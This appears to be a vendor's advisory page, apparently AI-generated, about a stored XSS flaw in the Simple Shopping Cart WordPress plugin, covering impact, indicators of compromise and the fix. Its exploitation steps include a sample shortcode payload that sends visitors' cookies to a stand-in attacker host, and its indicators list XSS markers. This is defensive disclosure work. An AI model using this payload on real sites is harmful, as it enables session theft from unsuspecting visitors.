CVE-2026-0552: 
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-0552 is a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Shopping Cart plugin for WordPress, affecting all versions up to and including 5.2.4. The flaw exists in the wpsc_display_product shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on April 4, 2026, and assigned a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The root cause is insufficient input sanitization and output escaping applied to user-supplied attributes passed to the wpsc_display_product shortcode. An authenticated attacker with at least contributor-level WordPress access can embed malicious JavaScript within shortcode attributes in a post or page; the script is then stored server-side and executes in the browser of any user who subsequently visits the affected page. No user interaction beyond page access is required for the payload to trigger (GitHub Advisory, Wordfence).

Impact

Successful exploitation allows an authenticated contributor (or higher-privileged user) to persistently inject arbitrary JavaScript into WordPress pages, which executes in the context of any visitor's browser. Potential consequences include session token theft, credential harvesting, unauthorized actions performed on behalf of victims, website defacement, and redirection to malicious external sites. Availability is not directly impacted, but confidentiality and integrity of user sessions and page content are at risk (GitHub Advisory, Wordfence).

Exploitability

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (Wordfence). The EPSS score is approximately 0.01% (2nd percentile), indicating a low near-term exploitation probability (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities.

Exploitation steps

  1. Gain Contributor Access: Obtain or register a WordPress account with at least contributor-level privileges on a target site running Simple Shopping Cart ≤ 5.2.4.
  2. Create or Edit a Post: Navigate to the WordPress post editor and create or edit a post/page where the wpsc_display_product shortcode can be inserted.
  3. Inject Malicious Payload: Insert the shortcode with a crafted attribute containing a JavaScript payload, for example: [wpsc_display_product attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
  4. Publish the Page: Submit or update the post so the malicious shortcode is stored in the WordPress database.
  5. Trigger Execution: When any user (including administrators) visits the page containing the injected shortcode, the stored script executes in their browser, enabling session theft, credential harvesting, or further malicious actions (GitHub Advisory, Wordfence).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing encoded script tags or JavaScript event handlers in shortcode parameters.
  • Database: WordPress wp_posts table entries containing wpsc_display_product shortcode attributes with <script>, javascript:, onerror=, onload=, or similar XSS payloads.
  • Network: Outbound browser requests from site visitors to unexpected external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from pages using the wpsc_display_product shortcode.
  • File System: No direct file-system artifacts expected for stored XSS; however, review plugin files in wp-content/plugins/wordpress-simple-paypal-shopping-cart/ for unauthorized modifications.

Mitigation and workarounds

Update the Simple Shopping Cart plugin to version 5.2.5 or later, which addresses the vulnerability per the patch committed to the plugin repository (Plugin Changeset). As an interim measure, restrict contributor-level and above access to only fully trusted users, and consider disabling the wpsc_display_product shortcode if it is not actively required. Deploying a Web Application Firewall (WAF) — such as Wordfence — can help detect and block attempts to inject malicious shortcode attributes. Regularly audit posts and pages using this shortcode for unauthorized content modifications (Wordfence).

Additional resources


Source: This report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-86850MEDIUM6.5
  • sku-error-fixer-for-woocommerce
NoNoOct 06, 2026
CVE-2026-88931MEDIUM5.3
  • social-web-suite
NoNoOct 06, 2026
CVE-2026-87841MEDIUM5.3
  • unitechpay-paiements-mobile-money
NoNoOct 06, 2026
CVE-2026-92990MEDIUM5.3
  • sendpress
NoNoOct 06, 2026
CVE-2026-92989MEDIUM4.3
  • sendpress
NoNoOct 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management